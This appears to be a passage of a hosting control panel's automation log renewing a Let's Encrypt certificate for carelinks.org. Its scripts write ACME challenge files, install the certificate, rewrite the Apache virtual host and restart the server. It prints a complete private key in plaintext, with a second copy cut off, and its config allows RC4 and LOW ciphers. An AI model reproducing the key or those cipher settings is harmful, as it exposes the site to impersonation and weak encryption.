bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-28 06:00:02: Establishing a connection
2025-09-28 06:00:04: Establishing a connection
2025-09-28 06:00:05:
PUT: /tmp/pkp170205
#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-28 06:00:06:
chmod 755 /tmp/pkp170205; /tmp/pkp170205; rm /tmp/pkp170205
2025-09-28 06:00:06:
1
2025-09-28 06:00:08: Establishing a connection
2025-09-28 06:00:09:
PUT: /tmp/pkp333615
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38
cat > euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw
2025-09-28 06:00:10:
chmod 755 /tmp/pkp333615; /tmp/pkp333615; rm /tmp/pkp333615
2025-09-28 06:00:10:
2025-09-28 06:00:18: Establishing a connection
2025-09-28 06:00:20:
PUT: /tmp/pkp525746
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38
rm euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw
2025-09-28 06:00:21:
chmod 755 /tmp/pkp525746; /tmp/pkp525746; rm /tmp/pkp525746
2025-09-28 06:00:21:
2025-09-28 06:00:21: Establishing a connection
2025-09-28 06:00:22:
PUT: /tmp/pkp755711
#!/bin/bash
temp_file=$(mktemp)
TARGET=ce22a54aea805c8590de46790a6979d7.crt
cat > $temp_file <<'endmsg'
d3:15:2e:f9:0d:45:6b:1a:34:50:d1:fd:10:94:c9:89
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbDwD00uqUzTLlEFLPbRWzmwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI4MDUwMTQ4WhcNMjUxMjI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
2p1xqRYGlinFPRoP+PHCtaG6VjCstizl6ka2fzlCkO+0qm9mv0/X4QQTgAhnsBWv
bU7O8b5dkSfAzXbufAbhi4igzg2//hAba/b3WUcpa+U/G4UUesI5rhVnI+qGaC22
jiw8rEgxvNY/lT9bYT6jel/k4C6gAEsvyuUdT/JkIIpE73XGerWosfaFSSmdb4/m
YurDFFw/zG1yTxAxdV2GVJQKCdPx6nei9CN2jzHIiMgoujYugia8Xb+UowFfbcV0
cHkYSqp2BRDQFvL0/4ufKzrM9twfewfyiuFRTp8xVRgH0xh7nBa1OVn3fiQyFqyD
xT6QgCCKxt+h3h1HSeWtVwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBScz+g5XI7qYCoTK9NOL1zppiES6jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNDkuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
juhiNwAABAMASDBGAiEAu5pXyMlbROQHEL8cYZGDGX0B2RSNIknVrjOynKVb25gC
IQCW2w/hB76Sjf3laRQEUvZRf7Z461OiTfGEJ+HgeCRyXgB2ABmG1Mcoqm/+ugNv
eCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmY7oYkcAAAQDAEcwRQIhAMmeVWfk1w+i
F6roRTt2VtIzUXlZbWzy15NP9oEhr17ZAiAprQ39TXjiQSktQMfVkw8ZcHOLsN/d
mmLBMILm7OT1CjANBgkqhkiG9w0BAQsFAAOCAQEAXcFKYIFqJldHhjTduAmnXsXE
pnBO0xt3YUFgz/6QVm64Q7p3UpI0UCiHcnbzOaGl7DUZV0yL/sXgkcJ3zACttDLZ
k/qCPryfjVPLBBv3Osue1jre+2jXZKsT0X8aVHDao/cAIhhZNXCOallL+z42aNBW
2ZqXEEY63PT0+5TnbmUzD8l4czuYfIQwzkICyPy2jWb1djY08YQWw/K6vRE5xHMD
ZIM3BjkygqNjREgTAOGB0w1DD5XJupfldsM2Tk995oZ7UKJYAPfx3LpRYGs+lIfL
8eWJrUvc99UY/SU9hZrDMwN8A/a/3RMRfhhe409e/x/0bRgk71GggAyDSd3Qzw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDanXGpFgaWKcU9
Gg/48cK1obpWMKy2LOXqRrZ/OUKQ77Sqb2a/T9fhBBOACGewFa9tTs7xvl2RJ8DN
du58BuGLiKDODb/+EBtr9vdZRylr5T8bhRR6wjmuFWcj6oZoLbaOLDysSDG81j+V
P1thPqN6X+TgLqAASy/K5R1P8mQgikTvdcZ6taix9oVJKZ1vj+Zi6sMUXD/MbXJP
EDF1XYZUlAoJ0/Hqd6L0I3aPMciIyCi6Ni6CJrxdv5SjAV9txXRweRhKqnYFENAW
8vT/i58rOsz23B97B/KK4VFOnzFVGAfTGHucFrU5Wfd+JDIWrIPFPpCAIIrG36He
HUdJ5a1XAgMBAAECggEAFS9yx08CHmU33v76k0ZidxWQKDAZXKInObfWkaer4r3I
BUg8bcfABOdPOHYYDkFbub0MYvLuwFVY4tBmthA4pTv9UVqVw3ouHh1VxQoXYoRZ
xEH2RRszWcJrN1jP46KicU6qJovsff9JNB5qrZbTYtWOKYd7K+wdWo0vdQLpXxm5
S7EfSczd+fr5c+BaYCh/EaEWiFSXO8sQtj6aluKpK1FrkaMos0D7clhGebZqtkYr
ioMiKQtNTA5D4dGsIEE3Eo0HB2YoZo3kzip56lmVHZToNfU1Ejc0OXRG/Z0mCuZv
zlXV9kXaVKsaI4J2KAjeHwHbBOkvz3wBvH7TrzOiSQKBgQDzdBNRs6gJ9wNvUCic
38hAvCsXhG4v7MZMDEvyrX+L4ffgdxgFh8457TVZ3yWahmobNFR4DvX8Y5J/5kAv
OKC8gS56uJ/XOcg/oXw8M3CikXh/tbo0Ka9WvTI071qS7VYN9uIT9DeRmOapJC8R
zF5wk6IPqRej8w5vVjfkfvTZgwKBgQDl4avHQIl/VgTN3df/iIeMFzQTLcYDSCk+
y9fsKy1spJGlesLsaLiJvpZeEZlIdtLf6AvZMFcR1GJfGnMnLnA+X5ZU/255CVjL
TphLsFpfl4qF5LpyIg2TmCJLf07KVvhS6T8jz92Ao1XO1KH7oTWZ81Xhq7HYpuu2
KJVyWcgYnQKBgQDnPyuWoKsOBBa8Jgzdreb+Ln5UEVPErAhTdh6x/cE4csTL7vPf
VPc7qKjTnBWQ6PpiqttNSxC20zH10RTIheaQB7jJkxMpEda3MkHawRXNJZaq4Ehl
ge7t2jqVc4G6LDxgeVCXmZMq9myq3xbithhCoMkATSKKdbYRZXkjzr/u1wKBgDNt
AaWobVn8H0UCnOCAZXpUcoTb15FCYl+28E3X9uh4BFEVnmeOocHGzhKrMzQ/yLro
SUZEByZo8by+yQX54IhDj/jhz4/qJGAO7Aj6oa0C1K1RVthTf+AFx55GE5U2UYUS
wto7FR1C7N5BOR92l+whwJOkejuyU8bDW3NiXF4NAoGBAM886CeDW+rqCfHS928R
7M95Po3Bxamsln+ISDNIop5hxQ1kE++B1g7YE+depF2aEIR2URlv0c4DNA+Wy8nL
FR5cHgNpGRp9vTH7CcPwN7457g+mu8ysjetTj2/q2KLzkfuTasz4DGK7Co8OXhFe
7uAMD7viVXbKh+z4e2p0CTNC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-28 06:00:23:
chmod 755 /tmp/pkp755711; /tmp/pkp755711; rm /tmp/pkp755711
2025-09-28 06:00:23:
dir=/etc/ssl/certs
2025-09-28 06:00:23:
PUT: /tmp/pkp595351
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-28 06:00:24:
chmod 755 /tmp/pkp595351; /tmp/pkp595351; rm /tmp/pkp595351
2025-09-28 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 41
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-28 06:00:24:
PUT: /tmp/pkp509955
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf= 1'
fi
2025-09-28 06:00:25:
chmod 755 /tmp/pkp509955; /tmp/pkp509955; rm /tmp/pkp509955
2025-09-28 06:00:25:
2025-09-28 06:00:25:
PUT: /tmp/pkp797397
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-28 06:00:25:
chmod 755 /tmp/pkp797397; /tmp/pkp797397; rm /tmp/pkp797397
2025-09-28 06:00:26:
.
2025-09-28 06:00:26: Establishing a connection
2025-09-28 06:00:27:
PUT: /tmp/pkp322685
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-28 06:00:28:
chmod 755 /tmp/pkp322685; /tmp/pkp322685; rm /tmp/pkp322685
2025-09-28 06:00:28:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-09-28 06:00:28:
PUT: /tmp/pkp514833
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-28 06:00:29:
chmod 755 /tmp/pkp514833; /tmp/pkp514833; rm /tmp/pkp514833
2025-09-28 06:00:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 1206
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-28 06:00:29:
PUT: /tmp/pkp101284
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-28 06:00:30:
chmod 755 /tmp/pkp101284; /tmp/pkp101284; rm /tmp/pkp101284
2025-09-28 06:00:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt 5372
d3:15:2e:f9:0d:45:6b:1a:34:50:d1:fd:10:94:c9:89
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbDwD00uqUzTLlEFLPbRWzmwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI4MDUwMTQ4WhcNMjUxMjI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
2p1xqRYGlinFPRoP+PHCtaG6VjCstizl6ka2fzlCkO+0qm9mv0/X4QQTgAhnsBWv
bU7O8b5dkSfAzXbufAbhi4igzg2//hAba/b3WUcpa+U/G4UUesI5rhVnI+qGaC22
jiw8rEgxvNY/lT9bYT6jel/k4C6gAEsvyuUdT/JkIIpE73XGerWosfaFSSmdb4/m
YurDFFw/zG1yTxAxdV2GVJQKCdPx6nei9CN2jzHIiMgoujYugia8Xb+UowFfbcV0
cHkYSqp2BRDQFvL0/4ufKzrM9twfewfyiuFRTp8xVRgH0xh7nBa1OVn3fiQyFqyD
xT6QgCCKxt+h3h1HSeWtVwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBScz+g5XI7qYCoTK9NOL1zppiES6jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNDkuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
juhiNwAABAMASDBGAiEAu5pXyMlbROQHEL8cYZGDGX0B2RSNIknVrjOynKVb25gC
IQCW2w/hB76Sjf3laRQEUvZRf7Z461OiTfGEJ+HgeCRyXgB2ABmG1Mcoqm/+ugNv
eCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmY7oYkcAAAQDAEcwRQIhAMmeVWfk1w+i
F6roRTt2VtIzUXlZbWzy15NP9oEhr17ZAiAprQ39TXjiQSktQMfVkw8ZcHOLsN/d
mmLBMILm7OT1CjANBgkqhkiG9w0BAQsFAAOCAQEAXcFKYIFqJldHhjTduAmnXsXE
pnBO0xt3YUFgz/6QVm64Q7p3UpI0UCiHcnbzOaGl7DUZV0yL/sXgkcJ3zACttDLZ
k/qCPryfjVPLBBv3Osue1jre+2jXZKsT0X8aVHDao/cAIhhZNXCOallL+z42aNBW
2ZqXEEY63PT0+5TnbmUzD8l4czuYfIQwzkICyPy2jWb1djY08YQWw/K6vRE5xHMD
ZIM3BjkygqNjREgTAOGB0w1DD5XJupfldsM2Tk995oZ7UKJYAPfx3LpRYGs+lIfL
8eWJrUvc99UY/SU9hZrDMwN8A/a/3RMRfhhe409e/x/0bRgk71GggAyDSd3Qzw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDanXGpFgaWKcU9
